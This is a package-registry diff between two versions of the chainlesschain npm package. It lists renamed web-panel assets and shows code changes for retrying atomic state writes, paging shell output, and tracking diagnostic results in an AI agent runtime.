chainlesschain 0.166.56 → 0.166.58
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/src/assets/web-panel/assets/{AIOps-CBFnwYRX.js → AIOps-DoyI29Aw.js} +1 -1
- package/src/assets/web-panel/assets/{ActionButton-Sl4eXWpR.js → ActionButton-eZKcEoxc.js} +1 -1
- package/src/assets/web-panel/assets/{Analytics-DB0lD9Kb.js → Analytics-B2C2e9A7.js} +3 -3
- package/src/assets/web-panel/assets/{AppLayout-j77EmkRK.js → AppLayout-DkZJiu4X.js} +5 -5
- package/src/assets/web-panel/assets/{Artifacts-CU3izCW9.js → Artifacts-8PD3BXVa.js} +1 -1
- package/src/assets/web-panel/assets/{Audit-C44fSibb.js → Audit-Cv6sRlFu.js} +1 -1
- package/src/assets/web-panel/assets/{BackgroundAgents-pM_NnJW3.js → BackgroundAgents-D-V84Qpm.js} +1 -1
- package/src/assets/web-panel/assets/{Backup-AOHXqhxN.js → Backup-DYJQcxj1.js} +1 -1
- package/src/assets/web-panel/assets/{BaseInput-DaYc8oA_.js → BaseInput-KL2IeywH.js} +1 -1
- package/src/assets/web-panel/assets/{Chat-CmlCAXxW.js → Chat-Bt9wy_Yn.js} +5 -5
- package/src/assets/web-panel/assets/{ChatBubbleRenderer-CkCSkJDJ.js → ChatBubbleRenderer-ChB6fH-W.js} +1 -1
- package/src/assets/web-panel/assets/{Checkbox-DISI7iaA.js → Checkbox-Dm-nfdnd.js} +1 -1
- package/src/assets/web-panel/assets/{Codegen-BYpeKUpf.js → Codegen-CYi3yDzv.js} +1 -1
- package/src/assets/web-panel/assets/{Col-Dk6VwWGq.js → Col-C7sQywfG.js} +1 -1
- package/src/assets/web-panel/assets/{Community-BDyTedMu.js → Community-DjxuqAM4.js} +1 -1
- package/src/assets/web-panel/assets/{Compact-CTNlGM9X.js → Compact-CD_4lbxr.js} +1 -1
- package/src/assets/web-panel/assets/{Compliance-C_tw3IdT.js → Compliance-BtDpNJrS.js} +1 -1
- package/src/assets/web-panel/assets/{Cowork-cduHWEmo.js → Cowork-l19ANH6Q.js} +3 -3
- package/src/assets/web-panel/assets/{Cron-Dqotjv-s.js → Cron-Br-rBoEK.js} +2 -2
- package/src/assets/web-panel/assets/{Crosschain-ByW7RsJQ.js → Crosschain-60UVvKET.js} +1 -1
- package/src/assets/web-panel/assets/{DID-BI-lafPj.js → DID-B9dqar51.js} +2 -2
- package/src/assets/web-panel/assets/{Dashboard-8m50TRZL.js → Dashboard-B39hhdHb.js} +2 -2
- package/src/assets/web-panel/assets/{Dropdown-CN3hmRTc.js → Dropdown-Bm5rCfvF.js} +1 -1
- package/src/assets/web-panel/assets/{EmailListRenderer-t0lzxsDT.js → EmailListRenderer-BI9HANDl.js} +1 -1
- package/src/assets/web-panel/assets/{EvolutionSettings-DabpA3cQ.js → EvolutionSettings-Cfqn_yCq.js} +1 -1
- package/src/assets/web-panel/assets/{FamilyGuardDashboard-BYN4UshY.js → FamilyGuardDashboard-9Y4_zyhT.js} +1 -1
- package/src/assets/web-panel/assets/{Federation-n44OtIXp.js → Federation-vnbbmMdF.js} +1 -1
- package/src/assets/web-panel/assets/{FormItemContext-B-WXDu_I.js → FormItemContext-BEKNtNF9.js} +1 -1
- package/src/assets/web-panel/assets/{GenericCardRenderer-Bm7v-mTf.js → GenericCardRenderer-BmWr16IL.js} +1 -1
- package/src/assets/web-panel/assets/{Git-BMIS6sbo.js → Git-CUUwAXdn.js} +2 -2
- package/src/assets/web-panel/assets/{Governance-B1EhHobE.js → Governance-Bw8XZmH9.js} +1 -1
- package/src/assets/web-panel/assets/{Inference-Dy_HJWHo.js → Inference-CNrml6dn.js} +1 -1
- package/src/assets/web-panel/assets/{KnowledgeGraph-BVdfUbZy.js → KnowledgeGraph-BhxOwpW_.js} +1 -1
- package/src/assets/web-panel/assets/{Logs-Dph_oLQk.js → Logs-BV8WViUG.js} +2 -2
- package/src/assets/web-panel/assets/MarkdownRenderer-CO1qbiOY.js +1 -0
- package/src/assets/web-panel/assets/{Marketplace-Bw4HWORj.js → Marketplace-ztcu4mg4.js} +1 -1
- package/src/assets/web-panel/assets/{McpTools-Be6DPfA1.js → McpTools-D-wzRO7z.js} +2 -2
- package/src/assets/web-panel/assets/{Memory-DlvLafC9.js → Memory-ChdjWC1R.js} +2 -2
- package/src/assets/web-panel/assets/{MobileBridge-Upc_Jwlt.js → MobileBridge-B1QHzIjE.js} +1 -1
- package/src/assets/web-panel/assets/{MobileProjects-I17jrUbY.js → MobileProjects-DmaRtaMw.js} +1 -1
- package/src/assets/web-panel/assets/{Mtc-DyBzY0GH.js → Mtc-DRQMr4WP.js} +4 -4
- package/src/assets/web-panel/assets/{MtcAudit-2-7xAwEo.js → MtcAudit-Cwo0on-u.js} +2 -2
- package/src/assets/web-panel/assets/{Multisig-DtUZpFmZ.js → Multisig-QplgySFt.js} +3 -3
- package/src/assets/web-panel/assets/{NLProgramming-iInH7jBr.js → NLProgramming-BWkMyuAy.js} +1 -1
- package/src/assets/web-panel/assets/{Notes-BO3Z3vaS.js → Notes-BI_pSEM0.js} +3 -3
- package/src/assets/web-panel/assets/{NotificationSettings-ClX_0jFE.js → NotificationSettings-DiuFo6Xe.js} +1 -1
- package/src/assets/web-panel/assets/{OrderTableRenderer-Czw742w4.js → OrderTableRenderer-DZzQhujZ.js} +1 -1
- package/src/assets/web-panel/assets/{Organization-BATEx24i.js → Organization-DqEdqWB0.js} +4 -4
- package/src/assets/web-panel/assets/{Overflow-B_PXMNia.js → Overflow-CO7_2YLN.js} +1 -1
- package/src/assets/web-panel/assets/{P2P-BSiE8PqT.js → P2P-BN5RiNst.js} +2 -2
- package/src/assets/web-panel/assets/{PdhVaultBrowser-BbklUgZY.js → PdhVaultBrowser-CapfG4bl.js} +3 -3
- package/src/assets/web-panel/assets/{Permissions-B7bpflT_.js → Permissions-B24c5fWW.js} +4 -4
- package/src/assets/web-panel/assets/{PersonalDataHub-BWZS4BLy.js → PersonalDataHub-D7Mb3_vh.js} +3 -3
- package/src/assets/web-panel/assets/{Pipeline-DP2YSs6H.js → Pipeline-BsfxlbOQ.js} +1 -1
- package/src/assets/web-panel/assets/{Privacy-DB9ptoH0.js → Privacy-Bq7c7IYy.js} +1 -1
- package/src/assets/web-panel/assets/{ProjectInit-BAfePyYk.js → ProjectInit-Clse2DPl.js} +2 -2
- package/src/assets/web-panel/assets/{ProjectSettings-BEXn4Cm3.js → ProjectSettings-CHAEdjri.js} +2 -2
- package/src/assets/web-panel/assets/Projects-C1UHvBEK.js +1 -0
- package/src/assets/web-panel/assets/{Providers-CRX9TdRO.js → Providers-DQyH3PXU.js} +1 -1
- package/src/assets/web-panel/assets/{QrScannerModal-DUWcSY5L.js → QrScannerModal-t2Z-N49o.js} +1 -1
- package/src/assets/web-panel/assets/{QuickAsk-Cgo3Z_hs.js → QuickAsk-BacR7PlI.js} +1 -1
- package/src/assets/web-panel/assets/{Recommend-Dcinx0IW.js → Recommend-D-NAy0CQ.js} +1 -1
- package/src/assets/web-panel/assets/{RemoteSession-BMZzTnAN.js → RemoteSession-CjI3GeVQ.js} +2 -2
- package/src/assets/web-panel/assets/{Reputation-BdZzpOp9.js → Reputation-HoQ3i2oW.js} +1 -1
- package/src/assets/web-panel/assets/{Row-DqM8GVcx.js → Row-CY2jczWa.js} +1 -1
- package/src/assets/web-panel/assets/{RssFeed-Soj_QBK3.js → RssFeed-Bd3o20IY.js} +2 -2
- package/src/assets/web-panel/assets/{Search-Cn2es0-v.js → Search-C88KjgTv.js} +1 -1
- package/src/assets/web-panel/assets/{Security-t7C4hz3n.js → Security-yfmfvujK.js} +4 -4
- package/src/assets/web-panel/assets/{Services-ChF-e_Uf.js → Services-DLPBWoxT.js} +2 -2
- package/src/assets/web-panel/assets/{Skeleton-BiPIyK-2.js → Skeleton-DzDjvVQi.js} +1 -1
- package/src/assets/web-panel/assets/{Skills-HgkKJenJ.js → Skills-DqfrJIyP.js} +1 -1
- package/src/assets/web-panel/assets/{Sla-BSfluv_k.js → Sla-BXhsGzkm.js} +1 -1
- package/src/assets/web-panel/assets/{SpeechSettings-Sm0Gz9tM.js → SpeechSettings-jxSl2JDo.js} +1 -1
- package/src/assets/web-panel/assets/{SyncSettings-DlhBMnfU.js → SyncSettings-BX2xKtI3.js} +2 -2
- package/src/assets/web-panel/assets/{Tasks-C7OUvsnp.js → Tasks-P9MmRYt4.js} +1 -1
- package/src/assets/web-panel/assets/{Templates-CrMtw87y.js → Templates-CTpj9f62.js} +1 -1
- package/src/assets/web-panel/assets/{Tenant-DSNSB6j5.js → Tenant-nnQuhdPg.js} +1 -1
- package/src/assets/web-panel/assets/{Terminal-Cmh78FQg.js → Terminal-cJ0vbuTe.js} +2 -2
- package/src/assets/web-panel/assets/{TimelineRenderer-BE8b8lHR.js → TimelineRenderer-DN08D0SD.js} +1 -1
- package/src/assets/web-panel/assets/{Tokens-BrtgdIvJ.js → Tokens-C8BWWBUD.js} +1 -1
- package/src/assets/web-panel/assets/{Trigger-HCmaoKDp.js → Trigger-DhD-LUoe.js} +1 -1
- package/src/assets/web-panel/assets/{Trust-GASQ4F-2.js → Trust-D0nFyc_Z.js} +1 -1
- package/src/assets/web-panel/assets/{UkeySign-B8kSzWGr.js → UkeySign-B59G57LP.js} +1 -1
- package/src/assets/web-panel/assets/{VideoEditing-Nn-clhv5.js → VideoEditing-BpYACxVC.js} +1 -1
- package/src/assets/web-panel/assets/{Wallet-DdYMKTYk.js → Wallet-DlZ3rKGD.js} +3 -3
- package/src/assets/web-panel/assets/{WebAuthn-xJXUr_eK.js → WebAuthn-De4dNyig.js} +5 -5
- package/src/assets/web-panel/assets/{WorkflowEditor-CbSa87av.js → WorkflowEditor-C2Tewnhp.js} +1 -1
- package/src/assets/web-panel/assets/{chat-CVrNLGUV.js → chat-CDBn4JLE.js} +1 -1
- package/src/assets/web-panel/assets/{colors-e2veLfIA.js → colors-BNawl0d_.js} +1 -1
- package/src/assets/web-panel/assets/{compact-item-CNd7nhUq.js → compact-item-n65WDhze.js} +1 -1
- package/src/assets/web-panel/assets/{createContext-DEudTVqv.js → createContext-DAKgOdIy.js} +1 -1
- package/src/assets/web-panel/assets/devWarning-sBSSW127.js +1 -0
- package/src/assets/web-panel/assets/{hasIn-BlSAFZa3.js → hasIn-DhxFG46W.js} +1 -1
- package/src/assets/web-panel/assets/{index-CU4Y4VVN.js → index--76HBS1k.js} +1 -1
- package/src/assets/web-panel/assets/{index-BmVFeSEq.js → index-0Y-ncsVy.js} +1 -1
- package/src/assets/web-panel/assets/{index-DtrqgNBl.js → index-5oJjovnA.js} +1 -1
- package/src/assets/web-panel/assets/{index-BRNCKg4q.js → index-BAogaHa9.js} +1 -1
- package/src/assets/web-panel/assets/{index-0y7tHZdT.js → index-BBFjMjmp.js} +1 -1
- package/src/assets/web-panel/assets/{index-D_D7lcnQ.js → index-BDTrf8WH.js} +1 -1
- package/src/assets/web-panel/assets/index-BIJTDSLY.js +1 -0
- package/src/assets/web-panel/assets/{index-DyFZ7gDd.js → index-BQFAuU1c.js} +1 -1
- package/src/assets/web-panel/assets/{index-CK6Rb66R.js → index-BRyzRluv.js} +1 -1
- package/src/assets/web-panel/assets/{index-D7yJceTZ.js → index-BZI8xwwt.js} +1 -1
- package/src/assets/web-panel/assets/{index-CHMrAZiR.js → index-BfXdTvku.js} +1 -1
- package/src/assets/web-panel/assets/{index-Bp4Gcn9u.js → index-BudfMkBy.js} +1 -1
- package/src/assets/web-panel/assets/{index-B_UNX_xq.js → index-By-zGgUp.js} +1 -1
- package/src/assets/web-panel/assets/{index-Jk99aZIr.js → index-ByDs4cW4.js} +3 -3
- package/src/assets/web-panel/assets/{index-BpH6T1gA.js → index-BzONk4rW.js} +1 -1
- package/src/assets/web-panel/assets/{index-Bqeb4jnC.js → index-CE6OcLof.js} +1 -1
- package/src/assets/web-panel/assets/{index-CYNoXhxl.js → index-CSOgoyqx.js} +1 -1
- package/src/assets/web-panel/assets/{index-BptI9bLu.js → index-CW_OUdP8.js} +1 -1
- package/src/assets/web-panel/assets/{index-MuTb62K6.js → index-CZJrAg98.js} +1 -1
- package/src/assets/web-panel/assets/index-CrBauOkp.js +1 -0
- package/src/assets/web-panel/assets/{index-ClROBPWd.js → index-Cv7LqHwv.js} +1 -1
- package/src/assets/web-panel/assets/{index-BG-VNepa.js → index-D34AXxN9.js} +1 -1
- package/src/assets/web-panel/assets/{index-DFv-nsIT.js → index-D6sWUgN6.js} +1 -1
- package/src/assets/web-panel/assets/{index-Bwtt-0CQ.js → index-DCujBaFg.js} +1 -1
- package/src/assets/web-panel/assets/{index-B1C1wS5c.js → index-DFkamspD.js} +1 -1
- package/src/assets/web-panel/assets/{index-C6zGNZ5H.js → index-DLFRz0_7.js} +1 -1
- package/src/assets/web-panel/assets/{index-C4h_Bvd2.js → index-DV6iHrUO.js} +1 -1
- package/src/assets/web-panel/assets/{index-7-7rr4Mf.js → index-D_-6qQf0.js} +1 -1
- package/src/assets/web-panel/assets/{index-CgVwz2jD.js → index-DeTlqus4.js} +1 -1
- package/src/assets/web-panel/assets/{index-DwjWRUTf.js → index-DkW0HGr-.js} +1 -1
- package/src/assets/web-panel/assets/{index-4ZT0vIJt.js → index-DleKcclQ.js} +1 -1
- package/src/assets/web-panel/assets/{index-hzUfIn4u.js → index-Ds290C06.js} +1 -1
- package/src/assets/web-panel/assets/{index-DFzvcZ3Q.js → index-KT94nMha.js} +1 -1
- package/src/assets/web-panel/assets/{index-CWuv47z0.js → index-KZkt4e9N.js} +1 -1
- package/src/assets/web-panel/assets/{index-Lm9pm1zm.js → index-L1QnA0gW.js} +1 -1
- package/src/assets/web-panel/assets/{index-Ec6VBiV-.js → index-PlOBwfR1.js} +1 -1
- package/src/assets/web-panel/assets/{index-DVORJydf.js → index-gG1WJBpa.js} +1 -1
- package/src/assets/web-panel/assets/{index-BMIhGZUR.js → index-hA9VUXGr.js} +1 -1
- package/src/assets/web-panel/assets/{index-DJ5gsewX.js → index-pzEYIGNA.js} +1 -1
- package/src/assets/web-panel/assets/{initDefaultProps-C6fpNcA5.js → initDefaultProps-B3bCivrt.js} +1 -1
- package/src/assets/web-panel/assets/{motion-Bjh9Come.js → motion-CF5pGsxz.js} +1 -1
- package/src/assets/web-panel/assets/{move-DFa4ul-_.js → move-CaOFtFLU.js} +1 -1
- package/src/assets/web-panel/assets/{mtc-parser-KoYqA_e5.js → mtc-parser-Z4-50Y1c.js} +1 -1
- package/src/assets/web-panel/assets/{omit-ByTjP-wG.js → omit-AK4WqVTT.js} +1 -1
- package/src/assets/web-panel/assets/{pickAttrs-CG_rmTxx.js → pickAttrs-Dbye0px4.js} +1 -1
- package/src/assets/web-panel/assets/{placementArrow-LDePZ8V9.js → placementArrow-DCmr-Dks.js} +1 -1
- package/src/assets/web-panel/assets/{responsiveObserve-DZFzH4RR.js → responsiveObserve-CJ3Zm_-H.js} +1 -1
- package/src/assets/web-panel/assets/{slide-DfXQyTvD.js → slide-BuSk5-ue.js} +1 -1
- package/src/assets/web-panel/assets/{statusUtils-CuhqsJfO.js → statusUtils-8u_lKSFJ.js} +1 -1
- package/src/assets/web-panel/assets/{styleChecker-qqVjJw5u.js → styleChecker-sy6_m42F.js} +1 -1
- package/src/assets/web-panel/assets/{useFlexGapSupport-BPxnCxcb.js → useFlexGapSupport-Di5EfYGo.js} +1 -1
- package/src/assets/web-panel/assets/{useFs-D11NLCjV.js → useFs-BTfX_Ri1.js} +1 -1
- package/src/assets/web-panel/assets/{usePersonalDataHub-HbZVcaCX.js → usePersonalDataHub-kqurO26X.js} +1 -1
- package/src/assets/web-panel/assets/{vnode-CZHQlfTu.js → vnode-DRkH4mPV.js} +1 -1
- package/src/assets/web-panel/assets/{zoom-CV3rUknJ.js → zoom-ON_-UuD_.js} +1 -1
- package/src/assets/web-panel/index.html +1 -1
- package/src/commands/agent.js +5 -0
- package/src/commands/config.js +19 -10
- package/src/commands/eval.js +39 -4
- package/src/data/changelog.json +26 -0
- package/src/lib/diagnostic-excerpt.js +51 -0
- package/src/lib/diagnostic-workflow.js +10 -0
- package/src/lib/eval/evidence.js +19 -10
- package/src/lib/eval/outcomes.js +373 -0
- package/src/lib/eval/runner.js +6 -0
- package/src/lib/git-tool-input.js +37 -0
- package/src/lib/llm-config-defaults.js +32 -9
- package/src/lib/read-file-loop-guard.js +54 -0
- package/src/lib/remote-read-loop-guard.js +12 -14
- package/src/lib/session-message-fabric.js +74 -37
- package/src/lib/shell-output.js +30 -0
- package/src/lib/task-progress-tracker.js +88 -0
- package/src/runtime/agent-core.js +95 -22
- package/src/runtime/headless-stream.js +25 -0
- package/src/assets/web-panel/assets/MarkdownRenderer-CNHYqcxm.js +0 -1
- package/src/assets/web-panel/assets/Projects-BzSs0rzn.js +0 -1
- package/src/assets/web-panel/assets/devWarning-DW7he-SA.js +0 -1
- package/src/assets/web-panel/assets/index-IkoHuWRe.js +0 -1
- package/src/assets/web-panel/assets/index-MwqsDbb1.js +0 -1
|
@@ -31,6 +31,31 @@ export const SESSION_MESSAGE_POLICIES = Object.freeze([
|
|
|
31
31
|
"refuse",
|
|
32
32
|
]);
|
|
33
33
|
|
|
34
|
+
// Windows can briefly retain a handle on a just-written state file while an
|
|
35
|
+
// antivirus scanner, indexer, or another process observes it. Retrying the
|
|
36
|
+
// atomic write is safe while this process still owns the state lock: no
|
|
37
|
+
// business mutation is re-run, and no error after the final rename is retried.
|
|
38
|
+
// Keep this deliberately short so genuine filesystem failures remain
|
|
39
|
+
// fail-closed.
|
|
40
|
+
const TRANSIENT_ATOMIC_WRITE_ERROR_CODES = new Set([
|
|
41
|
+
"EACCES",
|
|
42
|
+
"EBUSY",
|
|
43
|
+
"EPERM",
|
|
44
|
+
]);
|
|
45
|
+
const MAX_ATOMIC_WRITE_ATTEMPTS = 5;
|
|
46
|
+
|
|
47
|
+
function waitForAtomicWriteRetry(attempt) {
|
|
48
|
+
const delayMs = Math.min(100, 5 * 2 ** attempt);
|
|
49
|
+
try {
|
|
50
|
+
Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, delayMs);
|
|
51
|
+
} catch {
|
|
52
|
+
const deadline = Date.now() + delayMs;
|
|
53
|
+
while (Date.now() < deadline) {
|
|
54
|
+
// SharedArrayBuffer is unavailable only in constrained runtimes.
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
|
|
34
59
|
export const SESSION_MESSAGE_RECEIPT_STATUSES = Object.freeze([
|
|
35
60
|
"delivered",
|
|
36
61
|
"held",
|
|
@@ -756,50 +781,62 @@ export class SessionMessageFabric {
|
|
|
756
781
|
|
|
757
782
|
_writeState(state) {
|
|
758
783
|
const directory = path.dirname(this.statePath);
|
|
759
|
-
const
|
|
760
|
-
|
|
761
|
-
|
|
762
|
-
|
|
763
|
-
|
|
764
|
-
|
|
765
|
-
descriptor = fs.openSync(temporary, "wx", 0o600);
|
|
766
|
-
fs.writeFileSync(
|
|
767
|
-
descriptor,
|
|
768
|
-
`${JSON.stringify(state, null, 2)}\n`,
|
|
769
|
-
"utf8",
|
|
784
|
+
const serialized = `${JSON.stringify(state, null, 2)}\n`;
|
|
785
|
+
let lastCause;
|
|
786
|
+
for (let attempt = 0; attempt < MAX_ATOMIC_WRITE_ATTEMPTS; attempt += 1) {
|
|
787
|
+
const temporary = path.join(
|
|
788
|
+
directory,
|
|
789
|
+
`.${path.basename(this.statePath)}.${process.pid}.${this._createId()}.tmp`,
|
|
770
790
|
);
|
|
771
|
-
|
|
772
|
-
|
|
773
|
-
|
|
774
|
-
|
|
775
|
-
|
|
776
|
-
|
|
777
|
-
|
|
778
|
-
|
|
779
|
-
|
|
780
|
-
|
|
791
|
+
let descriptor = null;
|
|
792
|
+
let renamed = false;
|
|
793
|
+
try {
|
|
794
|
+
descriptor = fs.openSync(temporary, "wx", 0o600);
|
|
795
|
+
fs.writeFileSync(descriptor, serialized, "utf8");
|
|
796
|
+
fs.fsyncSync(descriptor);
|
|
797
|
+
fs.closeSync(descriptor);
|
|
798
|
+
descriptor = null;
|
|
799
|
+
fs.renameSync(temporary, this.statePath);
|
|
800
|
+
renamed = true;
|
|
801
|
+
if (process.platform !== "win32") {
|
|
802
|
+
const directoryDescriptor = fs.openSync(directory, "r");
|
|
803
|
+
try {
|
|
804
|
+
fs.fsyncSync(directoryDescriptor);
|
|
805
|
+
} finally {
|
|
806
|
+
fs.closeSync(directoryDescriptor);
|
|
807
|
+
}
|
|
808
|
+
}
|
|
809
|
+
return;
|
|
810
|
+
} catch (cause) {
|
|
811
|
+
lastCause = cause;
|
|
812
|
+
if (descriptor != null) {
|
|
813
|
+
try {
|
|
814
|
+
fs.closeSync(descriptor);
|
|
815
|
+
} catch {
|
|
816
|
+
// Preserve the original write failure.
|
|
817
|
+
}
|
|
781
818
|
}
|
|
782
|
-
}
|
|
783
|
-
} catch (cause) {
|
|
784
|
-
if (descriptor != null) {
|
|
785
819
|
try {
|
|
786
|
-
fs.
|
|
820
|
+
fs.unlinkSync(temporary);
|
|
787
821
|
} catch {
|
|
788
|
-
//
|
|
822
|
+
// The rename may already have committed, or no temporary was created.
|
|
789
823
|
}
|
|
824
|
+
if (
|
|
825
|
+
renamed ||
|
|
826
|
+
!TRANSIENT_ATOMIC_WRITE_ERROR_CODES.has(cause?.code) ||
|
|
827
|
+
attempt + 1 >= MAX_ATOMIC_WRITE_ATTEMPTS
|
|
828
|
+
) {
|
|
829
|
+
break;
|
|
830
|
+
}
|
|
831
|
+
waitForAtomicWriteRetry(attempt);
|
|
790
832
|
}
|
|
791
|
-
try {
|
|
792
|
-
fs.unlinkSync(temporary);
|
|
793
|
-
} catch {
|
|
794
|
-
// The rename may already have committed, or no temporary was created.
|
|
795
|
-
}
|
|
796
|
-
throw fabricError(
|
|
797
|
-
SESSION_MESSAGE_FABRIC_ERROR_CODES.STATE_UNAVAILABLE,
|
|
798
|
-
"Could not atomically persist session message state",
|
|
799
|
-
{},
|
|
800
|
-
cause,
|
|
801
|
-
);
|
|
802
833
|
}
|
|
834
|
+
throw fabricError(
|
|
835
|
+
SESSION_MESSAGE_FABRIC_ERROR_CODES.STATE_UNAVAILABLE,
|
|
836
|
+
"Could not atomically persist session message state",
|
|
837
|
+
{},
|
|
838
|
+
lastCause,
|
|
839
|
+
);
|
|
803
840
|
}
|
|
804
841
|
|
|
805
842
|
_transaction(mutator, { expectedRevision = null } = {}) {
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
import { diagnosticExcerpt } from "./diagnostic-excerpt.js";
|
|
2
|
+
|
|
3
|
+
/** Page size includes JSON escaping so later serialization does not lose data. */
|
|
4
|
+
export function shellOutputPage(value, budget) {
|
|
5
|
+
const text = String(value ?? "");
|
|
6
|
+
let low = 0;
|
|
7
|
+
let high = Math.min(text.length, budget);
|
|
8
|
+
while (low < high) {
|
|
9
|
+
const mid = Math.ceil((low + high) / 2);
|
|
10
|
+
if (JSON.stringify(text.slice(0, mid)).length <= budget) low = mid;
|
|
11
|
+
else high = mid - 1;
|
|
12
|
+
}
|
|
13
|
+
if (low > 0 && /[\uD800-\uDBFF]/.test(text[low - 1])) low--;
|
|
14
|
+
return { text: text.slice(0, low), remaining: text.length - low };
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
/** Foreground commands cannot be repolled; expose omitted diagnostic context. */
|
|
18
|
+
export function shellOutputPreview(value, field, budget) {
|
|
19
|
+
const text = String(value ?? "");
|
|
20
|
+
const page = shellOutputPage(text, budget);
|
|
21
|
+
if (!page.remaining) return { [field]: page.text };
|
|
22
|
+
return {
|
|
23
|
+
[`${field}_truncated`]: true,
|
|
24
|
+
[`${field}_total_chars`]: text.length,
|
|
25
|
+
[`${field}_diagnostics`]: diagnosticExcerpt(text),
|
|
26
|
+
[field]: page.text,
|
|
27
|
+
output_hint:
|
|
28
|
+
"Output is incomplete. Diagnostic excerpts are source evidence, not a root-cause verdict. For long reproductions use run_in_background and drain check_shell with task_id; preserve a full CI log once before filtering it.",
|
|
29
|
+
};
|
|
30
|
+
}
|
|
@@ -1,5 +1,7 @@
|
|
|
1
1
|
import { createHash } from "node:crypto";
|
|
2
2
|
import { remoteReadTarget } from "./remote-read-loop-guard.js";
|
|
3
|
+
import { diagnosticExcerpt } from "./diagnostic-excerpt.js";
|
|
4
|
+
import { DIAGNOSTIC_WORKFLOW_GUIDANCE } from "./diagnostic-workflow.js";
|
|
3
5
|
|
|
4
6
|
// Discovery and bookkeeping are useful, but are not evidence that the task
|
|
5
7
|
// advanced. In particular, dispatching a child must not buy a fresh budget.
|
|
@@ -82,6 +84,7 @@ export class TaskProgressTracker {
|
|
|
82
84
|
this.lastActions = [];
|
|
83
85
|
this.remoteInspections = [];
|
|
84
86
|
this.localFindings = [];
|
|
87
|
+
this.diagnostics = [];
|
|
85
88
|
}
|
|
86
89
|
|
|
87
90
|
retainChildResult(id, result, owner = "root") {
|
|
@@ -121,6 +124,82 @@ export class TaskProgressTracker {
|
|
|
121
124
|
typeof args.old_string === "string" &&
|
|
122
125
|
args.old_string === args.new_string);
|
|
123
126
|
|
|
127
|
+
// Preserve observed reproduction results through compaction, including
|
|
128
|
+
// failed runs and completed background tasks. They do not establish that
|
|
129
|
+
// the original CI failure was reproduced or fixed.
|
|
130
|
+
if (
|
|
131
|
+
["run_shell", "run_code", "check_shell"].includes(tool) &&
|
|
132
|
+
result?.code !== "CC_TOOL_RECOVERY_PAUSED" &&
|
|
133
|
+
!(tool === "check_shell" && !args.task_id)
|
|
134
|
+
) {
|
|
135
|
+
const taskId = result?.task_id || args.task_id || null;
|
|
136
|
+
const previous =
|
|
137
|
+
taskId &&
|
|
138
|
+
this.diagnostics.find(
|
|
139
|
+
(entry) => entry.owner === owner && entry.taskId === taskId,
|
|
140
|
+
);
|
|
141
|
+
const output = [
|
|
142
|
+
result?.stdout_diagnostics,
|
|
143
|
+
result?.stderr_diagnostics,
|
|
144
|
+
result?.error,
|
|
145
|
+
result?.output,
|
|
146
|
+
result?.stdout,
|
|
147
|
+
result?.stderr,
|
|
148
|
+
]
|
|
149
|
+
.filter(Boolean)
|
|
150
|
+
.join("\n");
|
|
151
|
+
if (output || taskId || Number.isInteger(result?.exitCode)) {
|
|
152
|
+
const command = args.command || result?.command || args.code || "";
|
|
153
|
+
const remoteTarget = remoteReadTarget(tool, args);
|
|
154
|
+
const entry = {
|
|
155
|
+
owner,
|
|
156
|
+
tool,
|
|
157
|
+
taskId,
|
|
158
|
+
observedAt: this.now(),
|
|
159
|
+
remoteTarget: remoteTarget?.key || previous?.remoteTarget || null,
|
|
160
|
+
source:
|
|
161
|
+
previous?.source ||
|
|
162
|
+
(remoteTarget?.github || isRemoteInspectionCommand(command)
|
|
163
|
+
? "remote-inspection"
|
|
164
|
+
: "local-execution"),
|
|
165
|
+
invocation: boundedText(command || previous?.invocation, 1000),
|
|
166
|
+
invocationTruncated: command
|
|
167
|
+
? command.length > 1000
|
|
168
|
+
: previous?.invocationTruncated || false,
|
|
169
|
+
exitCode: result?.exitCode ?? result?.exit_code ?? null,
|
|
170
|
+
status:
|
|
171
|
+
result?.status ||
|
|
172
|
+
(result?.background ? "running" : failed ? "failed" : "completed"),
|
|
173
|
+
outputLost:
|
|
174
|
+
previous?.outputLost === true ||
|
|
175
|
+
!!result?.stdout_dropped_bytes ||
|
|
176
|
+
!!result?.stderr_dropped_bytes,
|
|
177
|
+
outputIncomplete:
|
|
178
|
+
previous?.outputLost === true ||
|
|
179
|
+
result?.has_more_output === true ||
|
|
180
|
+
result?.stdout_truncated === true ||
|
|
181
|
+
result?.stderr_truncated === true ||
|
|
182
|
+
result?.truncated === true ||
|
|
183
|
+
!!result?.stdout_dropped_bytes ||
|
|
184
|
+
!!result?.stderr_dropped_bytes,
|
|
185
|
+
output: diagnosticExcerpt(
|
|
186
|
+
[previous?.output, output].filter(Boolean).join("\n"),
|
|
187
|
+
1200,
|
|
188
|
+
),
|
|
189
|
+
};
|
|
190
|
+
const owned = [
|
|
191
|
+
...this.diagnostics.filter(
|
|
192
|
+
(item) => item.owner === owner && item !== previous,
|
|
193
|
+
),
|
|
194
|
+
entry,
|
|
195
|
+
].slice(-4);
|
|
196
|
+
this.diagnostics = [
|
|
197
|
+
...this.diagnostics.filter((item) => item.owner !== owner),
|
|
198
|
+
...owned,
|
|
199
|
+
].slice(-MAX_CHECKPOINT_OWNERS * 4);
|
|
200
|
+
}
|
|
201
|
+
}
|
|
202
|
+
|
|
124
203
|
if (!failed && (tool === "search_files" || tool === "read_file")) {
|
|
125
204
|
const evidence = result.content ?? result.matches ?? result.output;
|
|
126
205
|
const excerpt = boundedText(
|
|
@@ -252,6 +331,8 @@ export class TaskProgressTracker {
|
|
|
252
331
|
message +
|
|
253
332
|
" For an implementation task, make the smallest justified, authorized change and validate it. " +
|
|
254
333
|
"For a bug fix, state the observed failure, your leading root-cause hypothesis and the smallest test that can disprove it. Run that focused reproduction or diagnostic next; use its actual output to choose the next step. Do not keep reading adjacent files without naming the specific missing fact. A timeout alone does not establish that increasing the timeout is the fix. " +
|
|
334
|
+
DIAGNOSTIC_WORKFLOW_GUIDANCE +
|
|
335
|
+
" " +
|
|
255
336
|
"For research/review, synthesize evidence-backed findings; do not write files merely to clear this warning. " +
|
|
256
337
|
"If evidence is insufficient, name the exact missing fact and use a focused search or bounded computation. " +
|
|
257
338
|
"Do not restart general investigation, rewrite the plan, or delegate the same research. " +
|
|
@@ -268,11 +349,15 @@ export class TaskProgressTracker {
|
|
|
268
349
|
!this.childFindings.size &&
|
|
269
350
|
